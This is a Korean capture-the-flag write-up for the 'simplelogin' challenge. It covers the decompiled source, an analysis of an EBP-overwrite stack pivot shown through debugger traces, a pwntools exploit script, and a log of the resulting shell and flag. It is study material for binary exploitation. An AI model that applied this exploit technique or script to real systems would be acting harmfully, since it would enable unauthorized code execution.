Description
Can you get authentication from this server? ssh [email protected] -p2222 (pw: guest)
Decompiled src
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+18h] [ebp-28h] BYREF
_BYTE s[30]; // [esp+1Eh] [ebp-22h] BYREF
unsigned int v6; // [esp+3Ch] [ebp-4h]
memset(s, 0, sizeof(s));
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("Authenticate : ");
_isoc99_scanf("%30s", s);
memset(&input, 0, 0xCu);
v4 = 0;
v6 = Base64Decode((int)s, &v4);
if ( v6 > 0xC )
{
puts("Wrong Length");
}
else
{
memcpy(&input, v4, v6);
if ( auth(v6) )
correct();
}
return 0;
}
_BOOL4 __cdecl auth(int a1)
{
_BYTE v2[8]; // [esp+14h] [ebp-14h] BYREF
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h] BYREF
memcpy(&v4, &input, a1);
s2 = (char *)calc_md5((int)v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
void __noreturn correct()
{
if ( input == 0xDEADBEEF )
{
puts("Congratulation! you are good!");
system("/bin/sh");
}
exit(0);
}
최대 30바이트의 Base64 인코딩된 인증 문자열을 입력받아 s 배열에 입력받을 수 있다.
Base64Decode 함수는 s에 저장된 Base64 문자열을 디코딩하여, v4에 저장하고, 디코딩된 바이트 수를 반환한다.
디코딩된 데이터는 input 전역변수에 복사하는데 최대 0xC, 12 바이트까지 복사할 수 있다.
input 전역변수 데이터는 auth 함수를 거쳐 md5 해시값이 “f87cd601aa7fedca99018a8be88eda34” 일 경우에 correct() 함수를 호출한다.
여기서 input 값이 0xDEADBEEF여야 플래그를 획득할 수 있다.
Analysis
_BOOL4 __cdecl auth(int a1)
{
_BYTE v2[8]; // [esp+14h] [ebp-14h] BYREF
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h] BYREF
memcpy(&v4, &input, a1);
s2 = (char *)calc_md5((int)v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
auth 함수애서 a1은 Base64 디코딩된 바이트 수를 의미하고, input 전역변수는 Base64 디코딩된 데이터가 들어간다.
문제는 v4가 [ebp-8h]에 위치해있고, memcpy를 통해 최대 12바이트를 덮을 수 있기 때문에 auth’s ebp를 임의의 값으로 덮을 수 있다.
다음과 같이 payload를 구성했을때 auth 함수의 에필로그 중 leave 어셈블리 수행하기전을 살펴보면
payload = b"A"*4
payload += p32(0x08049284) #correct+0x25
payload += p32(0x811eb40) #input 전역변수 주소
# input()
p.sendlineafter("Authenticate : ", base64.b64encode(payload))


보다시피 ebp 레지스터를 살펴봤을때, input 전역변수 주소로 덮어졌다.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0
$ebx : 0x080481d0 → <_init+0000> push ebx
$ecx : 0xffffffff
$edx : 0x08e989f0 → "5e98ff0ea70dc509487731df31af6bee"
$esp : 0xff93ed80 → 0x080da684 → "f87cd601aa7fedca99018a8be88eda34"
$ebp : 0xff93eda8 → 0x0811eb40 → 0x41414141 ("AAAA"?)
$esi : 0x0
$edi : 0x0811b00c → 0x080a6470 → <__stpcpy_sse2+0000> mov edx, DWORD PTR [esp+0x4]
$eip : 0x0804930b → <auth+006f> leave
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 IDENTIFICATION]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
───────────────────────────────────────────────────────────────────────── stack ────
0xff93ed80│+0x0000: 0x080da684 → "f87cd601aa7fedca99018a8be88eda34" ← $esp
0xff93ed84│+0x0004: 0x08e989f0 → "5e98ff0ea70dc509487731df31af6bee"
0xff93ed88│+0x0008: 0x0000000c ("
"?)
0xff93ed8c│+0x000c: 0x08e98ab0 → 0x0811b8d0 → 0x08e98bf0 → 0x00000000
0xff93ed90│+0x0010: 0x08e98ab0 → 0x0811b8d0 → 0x08e98bf0 → 0x00000000
0xff93ed94│+0x0014: 0x08e989f0 → "5e98ff0ea70dc509487731df31af6bee"
0xff93ed98│+0x0018: 0x0000000c ("
"?)
0xff93ed9c│+0x001c: 0x08e989f0 → "5e98ff0ea70dc509487731df31af6bee"
─────────────────────────────────────────────────────────────────── code:x86:32 ────
0x80492ff <auth+0063> mov eax, 0x1
0x8049304 <auth+0068> jmp 0x804930b <auth+111>
0x8049306 <auth+006a> mov eax, 0x0
→ 0x804930b <auth+006f> leave
0x804930c <auth+0070> ret
0x804930d <main+0000> push ebp
0x804930e <main+0001> mov ebp, esp
0x8049310 <main+0003> and esp, 0xfffffff0
0x8049313 <main+0006> sub esp, 0x40
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "simplelogin", stopped 0x804930b in auth (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804930b → auth()
[#1] 0x8049407 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤
이제 leave 어셈블리어를 수행하면,
ebp를 esp로 옮기므로 → ebp = 0xff93eda8, esp = 0xff93eda8 ebp를 pop하므로 → esp는 0xff93eda8 + 4 = 0xff93edac, ebp = input 전역변수 주소가 된다.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0
$ebx : 0x080481d0 → <_init+0000> push ebx
$ecx : 0xffffffff
$edx : 0x08e989f0 → "5e98ff0ea70dc509487731df31af6bee"
$esp : 0xff93edac → 0x08049407 → <main+00fa> cmp eax, 0x1
$ebp : 0x0811eb40 → 0x41414141 ("AAAA"?)
$esi : 0x0
$edi : 0x0811b00c → 0x080a6470 → <__stpcpy_sse2+0000> mov edx, DWORD PTR [esp+0x4]
$eip : 0x0804930c → <auth+0070> ret
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 IDENTIFICATION]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
───────────────────────────────────────────────────────────────────────── stack ────
0xff93edac│+0x0000: 0x08049407 → <main+00fa> cmp eax, 0x1 ← $esp
0xff93edb0│+0x0004: 0x0000000c ("
"?)
0xff93edb4│+0x0008: 0x08e989b8 → 0x41414141
0xff93edb8│+0x000c: 0x0000000c ("
"?)
0xff93edbc│+0x0010: 0x00000000
0xff93edc0│+0x0014: 0x00000001
0xff93edc4│+0x0018: 0xff93ee84 → 0xff9407ce → "./simplelogin"
0xff93edc8│+0x001c: 0x08e989b8 → 0x41414141
─────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049304 <auth+0068> jmp 0x804930b <auth+111>
0x8049306 <auth+006a> mov eax, 0x0
0x804930b <auth+006f> leave
→ 0x804930c <auth+0070> ret
↳ 0x8049407 <main+00fa> cmp eax, 0x1
0x804940a <main+00fd> jne 0x804941f <main+274>
0x804940c <main+00ff> call 0x804925f <correct>
0x8049411 <main+0104> jmp 0x804941f <main+274>
0x8049413 <main+0106> mov DWORD PTR [esp], 0x80da6ba
0x804941a <main+010d> call 0x805c2d0 <puts>
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "simplelogin", stopped 0x804930c in auth (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804930c → auth()
[#1] 0x8049407 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤
auth‘s RET은 덮어써졌지 않았기에 main으로 다시 복귀할 수 있다.
아래는 main 함수에서 에필로그 중 leave 어셈블리어 수행 전이다.
main’s ebp는 auth 함수에서 ebp가 덮어졌기 때문에 input 전역변수 주소로 그대로 되어 있다.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0
$ebx : 0x080481d0 → <_init+0000> push ebx
$ecx : 0xffffffff
$edx : 0x08e989f0 → "5e98ff0ea70dc509487731df31af6bee"
$esp : 0xff93edb0 → 0x0000000c ("
"?)
$ebp : 0x0811eb40 → 0x41414141 ("AAAA"?)
$esi : 0x0
$edi : 0x0811b00c → 0x080a6470 → <__stpcpy_sse2+0000> mov edx, DWORD PTR [esp+0x4]
$eip : 0x08049424 → <main+0117> leave
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 IDENTIFICATION]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
───────────────────────────────────────────────────────────────────────── stack ────
0xff93edb0│+0x0000: 0x0000000c ("
"?) ← $esp
0xff93edb4│+0x0004: 0x08e989b8 → 0x41414141
0xff93edb8│+0x0008: 0x0000000c ("
"?)
0xff93edbc│+0x000c: 0x00000000
0xff93edc0│+0x0010: 0x00000001
0xff93edc4│+0x0014: 0xff93ee84 → 0xff9407ce → "./simplelogin"
0xff93edc8│+0x0018: 0x08e989b8 → 0x41414141
0xff93edcc│+0x001c: 0x55510001
─────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049413 <main+0106> mov DWORD PTR [esp], 0x80da6ba
0x804941a <main+010d> call 0x805c2d0 <puts>
0x804941f <main+0112> mov eax, 0x0
→ 0x8049424 <main+0117> leave
0x8049425 <main+0118> ret
0x8049426 xchg ax, ax
0x8049428 xchg ax, ax
0x804942a xchg ax, ax
0x804942c xchg ax, ax
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "simplelogin", stopped 0x8049424 in main (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049424 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤
이제 여기서도 leave를 수행하게 되면,
ebp를 esp로 옮기므로 → ebp = 0x0811eb40, esp = 0x0811eb40 ebp를 pop하므로 → esp는 0x0811eb40 + 4 = 0x0811eb44, ebp = 0x41414141이 된다.
여기서 RET을 수행하게 되면, eip는 input + 0x4 지점을 가리키게 되므로 system(”bin/sh”) 어셈블리 주소인 0x0811eb40 주소로 이동하여 플래그를 얻을 수 있다.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0
$ebx : 0x080481d0 → <_init+0000> push ebx
$ecx : 0xffffffff
$edx : 0x08e989f0 → "5e98ff0ea70dc509487731df31af6bee"
$esp : 0x0811eb44 → 0x08049284 → <correct+0025> mov DWORD PTR [esp], 0x80da66f
$ebp : 0x41414141 ("AAAA"?)
$esi : 0x0
$edi : 0x0811b00c → 0x080a6470 → <__stpcpy_sse2+0000> mov edx, DWORD PTR [esp+0x4]
$eip : 0x08049425 → <main+0118> ret
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 IDENTIFICATION]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
───────────────────────────────────────────────────────────────────────── stack ────
0x0811eb44│+0x0000: 0x08049284 → <correct+0025> mov DWORD PTR [esp], 0x80da66f ← $esp
0x0811eb48│+0x0004: 0x0811eb40 → 0x41414141
0x0811eb4c│+0x0008: 0x00000000
0x0811eb50│+0x000c: 0x078bfffd
0x0811eb54│+0x0010: 0x80002001
0x0811eb58│+0x0014: 0x00000000
0x0811eb5c│+0x0018: 0x00000000
0x0811eb60│+0x001c: 0x00000028 ("("?)
─────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804941a <main+010d> call 0x805c2d0 <puts>
0x804941f <main+0112> mov eax, 0x0
0x8049424 <main+0117> leave
→ 0x8049425 <main+0118> ret
↳ 0x8049284 <correct+0025> mov DWORD PTR [esp], 0x80da66f
0x804928b <correct+002c> call 0x805b2b0 <system>
0x8049290 <correct+0031> mov DWORD PTR [esp], 0x0
0x8049297 <correct+0038> call 0x805a6a0 <exit>
0x804929c <auth+0000> push ebp
0x804929d <auth+0001> mov ebp, esp
─────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "simplelogin", stopped 0x8049425 in main (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049425 → main()
────────────────────────────────────────────────────────────────────────────────────
gef➤
solve.py
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import base64
# p = process("./simplelogin")
p = remote("127.0.0.1", 9003)
e = ELF('./simplelogin', checksec=False)
payload = b"A"*4
payload += p32(0x08049284) #
payload += p32(0x811eb40) #
# input()
p.sendlineafter("Authenticate : ", base64.b64encode(payload))
p.interactive()
Result
simplelogin@ubuntu:~$ mkdir /tmp/w4_1 simplelogin@ubuntu:~$ cd /tmp/w4_1 simplelogin@ubuntu:/tmp/w4_1$ ln -sf /home/simplelogin/simplelogin ./simplelogin simplelogin@ubuntu:/tmp/w4_1$ nano solve.py simplelogin@ubuntu:/tmp/w4_1$ python3 solve.py [+] Opening connection to 127.0.0.1 on port 9003: Done [*] Switching to interactive mode hash : 629aa0e67eb4febb7a47bf1f2ccb5383 $ ls flag log simplelogin super.pl $ cat flag C0ntrol_EBP_E5P_EIP_and_rul3_th3_w0rld $ [*] Interrupted [*] Closed connection to 127.0.0.1 port 9003